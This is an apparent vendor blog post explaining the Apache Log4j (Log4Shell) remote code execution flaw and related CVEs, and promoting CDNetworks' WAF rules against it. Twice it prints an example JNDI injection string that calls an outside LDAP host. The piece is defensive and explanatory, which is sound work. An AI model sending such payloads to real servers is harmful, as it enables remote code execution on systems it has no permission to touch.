What is Apache Log4J Vulnerability and How to Mitigate It with CDNetworks’ WAF Service

On December 9th, 2021, a critical remote code execution (RCE) vulnerability affecting the popular Apache package was discovered. This zero-day software vulnerability, known as Apache Log4J, is a potential threat to millions of applications and devices around the world. Its global impact prompted the National Institute of Standards and Technology (NIST) to publish the critical CVE-2021-44228, which addresses the Log4J vulnerability in the National Vulnerability Database on December 10th, 2021. Given that this vulnerability allows a malicious attacker to execute any command on vulnerable Java processes, it has received the highest Common Vulnerability Scoring System (CVSS) severity level.

What is Log4j？

Apache Log4j is one of the Java-based logging tools used by nearly every Java service. As an open-source software provided by the Apache Software Foundation, Apache Log4j is used to record user operations and application behavior. For example, when you visit a server, your behaviors are logged by the server through the Log4J tool for viewing and error checking.

Why is the impact of Log4j vulnerability so severe?

Log4j is everywhere.

The Java technology stack is widely used on Windows, Linux, and Mac operating systems; in IoT home and commercial devices; and in web applications, back-end development, big data, and more. As a development tool, Java can be found in middleware solutions such as Kafka, Elasticsearch, Flink, and many others. Moreover, thousands of global companies have deployed the Log4j tool for their Java service. And because Log4j is commonly renamed, repackaged, and downloaded, the vulnerability can be present anywhere.

This vulnerability is very easy to exploit

The Log4J vulnerability can be exploited successfully by inserting malicious code such as ${jndi:ldap://test.com/test} into the access log.

How does the vulnerability work?

The vulnerability in the Apache Log4j logging framework in versions earlier than 2.15.0 enables unauthenticated remote attackers who can control log messages or log message parameters to execute malicious code on the system that’s performing the logging. If message lookup substitution is enabled on the Log4j2 library, an attacker can replace certain strings in log messages with arbitrary code strings sent from an LDAP server. When a message containing the replacement string is logged, the arbitrary code runs, potentially enabling the attacker to take control of the system that is performing the logging.

The default configuration of Apache Log4j supports Java Naming and Directory Interface (JNDI) lookups. These lookups can be exploited when class files are downloaded from insecure third-party LDAP servers to build objects.

The following steps describe how the Log4J vulnerability is propagated.

1. Hackers insert the JNDI lookup into the header, such as ${jndi:ldap://test.com/test}, which is logged by Log4J.
2. Log4J processes the malicious code in the log, and then queries the malicious LDAP server (//test.com/test).
3. The malicious LDAP server responds by sending the malicious Java class file to the origin server.

The vulnerability continues to mutate

It has been half a month since the vulnerability was discovered. Since then, three related CVEs have been identified, with the expectation that the vulnerability will continue to mutate.

CVE-2021-4104
Apache Log4j JMSAppender is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration.

CVE-2021-44228
Apache Log4j JNDI features allow the system to communicate with the attacker-controlled LDAP serve or the other JNDI-related endpoints without any permission.

CVE-2021-45046
Apache Log4j Thread Context patterns and Context Lookup patterns can allow malicious JNDI input data to invoke a denial-of-service (DoS) attack.

CDNetworks continue to focus on the Log4j vulnerability

As soon as the Log4J vulnerability was reported, the CDNetworks’ security team took steps to assess our infrastructure and products, and make appropriate updates to mitigate the impact of the vulnerability.

As a result, we released and deployed the following new Web Application Firewall (WAF) rules from December 10, 2021 to address the CVEs shown above and mitigate Log4J exploitation attempts. By default, all rules are set to block mode.

Log4j Exploitation Trends

From December 10 to December 26, 2021, CDNetworks blocked 2004902 malicious Log4J attack requests successfully. 

The CDNetworks security team continues to actively monitor the situation to make sure customers remain protected against these vulnerabilities. We will update this blog with new findings or information as developments warrant.